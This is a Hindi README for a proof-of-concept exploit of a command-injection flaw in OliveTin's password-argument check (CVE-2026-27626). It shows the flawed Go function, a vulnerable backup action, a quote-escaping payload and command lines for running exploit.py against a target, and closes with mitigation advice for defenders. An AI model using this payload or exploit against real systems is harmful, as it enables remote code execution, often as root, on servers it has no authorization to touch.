
OliveTin के पासवर्ड आर्गुमेंट हैंडलिंग में कमांड इंजेक्शन (CVE-2026-27626) के लिए प्रमाण-अवधारणा शोषण स्क्रिप्ट, निर्मित API अनुरोधों के माध्यम से RCE को सक्षम करने वाली।
OliveTin एक एडमिन को "एक्शन" परिभाषित करने देता है: पैरामीटराइज़्ड आर्गुमेंट वाले शेल कमांड जिन्हें उपयोगकर्ता वेब UI या API से ट्रिगर कर सकते हैं। शेल कमांड में उपयोगकर्ता द्वारा प्रदान किए गए मान को टेम्पलेट करने से पहले, OliveTin को इसे checkShellArgumentSafety() के माध्यम से चलाना चाहिए। यह फ़ंक्शन चार आर्गुमेंट प्रकारों की जाँच करता है: string, int, bool, choice। यह password को पूरी तरह से छोड़ देता है और true लौटाता है, जिसका अर्थ है "सुरक्षित", बिना मान को देखे।
इसलिए यदि किसी एक्शन में password-टाइप का आर्गुमेंट है, और वह आर्गुमेंट शेल कमांड स्ट्रिंग में प्रतिस्थापित हो जाता है, तो आप उसमें कुछ भी डाल सकते हैं। अर्धविराम, बैकटिक्स, $(), जो भी। यदि आर्गुमेंट अंतर्निहित कमांड में कोट्स में लपेटा गया है (डेटाबेस पासवर्ड जैसी चीज़ों के लिए एक सामान्य पैटर्न), तो कोट से बाहर निकलना पर्याप्त है।
func checkShellArgumentSafety(argType string, value string) bool {
dangerousTypes := []string{"string", "int", "bool", "choice"}
for _, dt := range dangerousTypes {
if argType == dt {
return sanitizeInput(value)
}
}
// password type falls through here, unchecked
return true
}
OliveTin के 3000.10.0 तक संस्करण प्रभावित होते हैं। 3000.11.1 लाइन (कमिट 0.0.0-20260222101908-4bbd2eab1532) में इसे ठीक किया गया है, जो password को जाँचे गए प्रकारों में जोड़ता है। सलाह: GHSA-49gm-hh7w-wfvf। CVSS 9.9।
कोई भी ऐसा मामला जहाँ password-टाइप का आर्गुमेंट शेल स्ट्रिंग के अंदर समाप्त होता है, आमतौर पर कोटेड:
- title: Backup database
id: backup_db
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /tmp/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
db_pass सिंगल कोट्स के अंदर बैठता है और कोई भी इसकी जाँच नहीं करता। मान के रूप में '; id ;' भेजें और OliveTin id चलाता है, इससे पहले कि दोषपूर्ण mysqldump कॉल विफल हो। विफलता मायने नहीं रखती; इंजेक्ट किया गया कमांड पहले ही चल चुका है, उस उपयोगकर्ता के रूप में जिसके रूप में OliveTin चलता है। कई सेटअपों पर वह रूट (root) होता है, क्योंकि लोग इसे systemd के तहत User= लाइन के बिना चलाते हैं और फिर इसके बारे में नहीं सोचते।
यदि इंस्टेंस में authRequireGuestsToLogin: false सेट है, जो छोटे या शौकिया डिप्लॉयमेंट में आम है, तो आपको इसके लिए किसी क्रेडेंशियल की आवश्यकता नहीं है।
pip install requests
python3 exploit.py -u <target> --action backup_db --arg db_pass -x "id"
| फ़्लैग | इसका काम | डिफ़ॉल्ट |
|---|---|---|
-u, --url | लक्ष्य होस्ट या IP | आवश्यक |
-p, --port | OliveTin का पोर्ट | 1337 |
--action | कमजोर एक्शन का bindingId | आवश्यक |
--arg | पासवर्ड-टाइप आर्गुमेंट का नाम | आवश्यक |
-x, --cmd | इंजेक्ट करने का कमांड | id |
--extra-arg | एक्शन के लिए आवश्यक अन्य आर्गुमेंट, name=value, दोहराने योग्य | कोई नहीं |
यदि एक्शन को आपके इंजेक्ट किए गए कमांड के निष्पादित होने से पहले त्रुटि से बचने के लिए अन्य आर्गुमेंट की आवश्यकता है, तो उन्हें --extra-arg के साथ पास करें:
python3 exploit.py -u 10.0.0.5 --action backup_db --arg db_pass \
--extra-arg db_user=admin --extra-arg db_name=prod -x "whoami"
स्क्रिप्ट StartAction पर POST करती है, दो सेकंड प्रतीक्षा करती है, फिर ExecutionStatus को पोल करती है और जो कुछ भी वापस आया उसे प्रिंट करती है। आप आमतौर पर अपने इंजेक्ट किए गए कमांड का आउटपुट एक त्रुटि के ऊपर बैठा देखेंगे जो बाद में चलने वाले वैध कमांड से आई थी और विफल हुई। यह अपेक्षित है। त्रुटि केवल दिखावटी है; आपका कमांड पहले ही चल चुका है।
OliveTin को 3000.10.0 से आगे अपडेट करें। यदि आप अभी तक नहीं कर सकते: अविश्वसनीय उपयोगकर्ताओं तक पहुंचने वाले एक्शन से किसी भी password-टाइप आर्गुमेंट को हटा दें, गेस्ट निष्पादन को बंद करें, और यदि संभव हो तो आर्गुमेंट मानों को शेल स्ट्रिंग में इंटरपोलेट होने से रोकें। इसके बजाय सीक्रेट्स को पर्यावरण चर या एक फ़ाइल के माध्यम से पास करें जिसे OliveTin एक निश्चित पथ पर पढ़ता है। और सेवा को रूट (root) के रूप में न चलाएँ। टास्क रनर के लिए ऐसा करने का कोई कारण नहीं है।
exploit.py: PoC स्क्रिप्टREADME.md: यह फ़ाइलयह उन लोगों के लिए है जो अपने स्वयं के OliveTin इंस्टेंस को पैच कर रहे हैं, डिटेक्शन लिख रहे हैं, या उन सिस्टम का परीक्षण कर रहे हैं जिनका वे परीक्षण करने के लिए अधिकृत हैं। इसे किसी ऐसी चीज़ पर न लगाएँ जो आपकी नहीं है या जिसे छूने की आपकी अनुमति नहीं है। यह आप पर है, न कि इसे लिखने वाले पर।